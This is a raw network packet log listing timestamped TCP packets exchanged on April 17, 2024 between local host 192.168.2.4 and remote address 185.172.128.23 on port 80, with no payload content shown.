Apr 17, 2024 06:57:12.483097076 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.483103991 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.483117104 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.483133078 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.483151913 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.483217001 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.483258963 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.483264923 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.483280897 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.483295918 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.483305931 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.483330965 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.483330965 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.483624935 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.483644009 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.483659029 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.483674049 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.483684063 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.483684063 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.483719110 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.483719110 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.533221960 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.533332109 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.533369064 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.533392906 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.533535004 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.533535004 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.534107924 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.534168959 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.534173012 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.534209013 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.534219980 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.534244061 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.534256935 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.534279108 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.534290075 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.534327984 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.534348011 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.534388065 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.534399033 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.534420013 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.534435034 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.534460068 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.534606934 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.534642935 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.534658909 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.534678936 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.534687996 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.534713030 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.534725904 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.534765959 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.535130024 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.535166979 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.535186052 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.535203934 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.535212994 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.535238981 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.535253048 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.535280943 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.535660028 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.535696030 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.535712004 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.535732031 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.535734892 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.535765886 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.535778999 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.535813093 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.536040068 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.536076069 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.536094904 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.536134958 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.536135912 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.536169052 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.536185980 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.536211014 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.536431074 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.536469936 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.536484003 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.536505938 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.536518097 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.536539078 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.536552906 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.536581993 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.536998034 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.537034035 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.537069082 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.537075996 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.537075996 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.537102938 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.537115097 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.537149906 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.537620068 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.537657022 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.537673950 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.537694931 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.537705898 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.537739992 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.094485998 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.094597101 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.139188051 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.342653036 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.459492922 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.459604025 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.459640980 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.459678888 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.459717035 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.459754944 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.459770918 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.459770918 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.459772110 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.459772110 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.459772110 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.459794044 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.459832907 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.459851980 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.459851980 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.459870100 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.459877968 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.459912062 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.459916115 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.459961891 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.459969044 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.459995031 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.460011005 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.460052013 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.517574072 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.517632008 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.517668962 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.517702103 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.517731905 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.517731905 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.517739058 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.517731905 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.517767906 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.517776012 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.517776012 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.517813921 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.517817974 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.517848015 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.517855883 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.517885923 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.517889023 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.517921925 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.517930031 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.517961025 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.517965078 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.517997980 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.518024921 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.518043995 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.518140078 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.518178940 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.518191099 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.518217087 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.518230915 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.518250942 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.518260956 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.518297911 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.518443108 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.518479109 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.518500090 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.518515110 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.518522978 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.518547058 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.518560886 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.518589020 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.518795013 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.518832922 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.518851995 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.518871069 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.518886089 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.518908024 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.518920898 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.518956900 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.575110912 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.575181961 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.575225115 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.575268030 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.575314045 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.575325966 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.575325966 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.575325966 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.575325966 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.575362921 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.575392008 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.575406075 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.575411081 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.575453997 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.575454950 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.575500965 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.575705051 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.575752020 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.575752974 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.575797081 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.575799942 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.575840950 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.575843096 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.575889111 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.576046944 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.576092005 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.576107979 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.576149940 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.576165915 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.576272011 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.576277971 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.576319933 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.576360941 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.576406956 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.576431990 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.576448917 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.576452971 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.576491117 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.576493979 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.576534033 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.576700926 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.576749086 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.576750994 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.576796055 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.576802969 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.576836109 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.576838970 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.576875925 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.577024937 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.577070951 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.577074051 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.577112913 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.577117920 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.577161074 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.577162981 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.577205896 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.577491999 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.577538013 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.577543020 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.577580929 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.577585936 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.577626944 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.577627897 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.577670097 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.577794075 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.577840090 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.577841043 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.577883959 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.577887058 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.577927113 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.577929974 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.577972889 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.578255892 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.578303099 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.578301907 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.578345060 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.578350067 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.578392029 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.578397989 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.578433990 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.578438997 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.578485966 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.578485966 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.578528881 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.578531981 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.578572035 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.578574896 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.578618050 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.633100986 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.633152008 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.633188009 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.633222103 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.633256912 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.633291960 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.633310080 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.633310080 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.633310080 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.633310080 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.633327007 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.633359909 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.633392096 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.633393049 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.633393049 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.633415937 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.633646011 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.633733988 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.633752108 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.633769035 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.633779049 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.633800030 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.633841038 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.633841038 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.633991003 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.634027004 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.634042978 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.634062052 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.634071112 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.634094954 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.634110928 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.634134054 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.634478092 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.634516001 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.634529114 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.634551048 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.634565115 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.634583950 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.634594917 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.634634972 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.634656906 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.634708881 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.634723902 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.634759903 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.634771109 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.634790897 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.634810925 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.634828091 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.635035992 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.635071993 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.635087967 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.635107040 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.635117054 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.635139942 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.635157108 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.635179043 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.636200905 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.636236906 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.636261940 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.636271954 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.636280060 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.636315107 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.663264036 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.663319111 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.663357019 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.663394928 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.663429022 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.663464069 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:13.663487911 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.663487911 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.663487911 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:13.663487911 CEST	49730	80	192.168.2.4	185.172.128.23
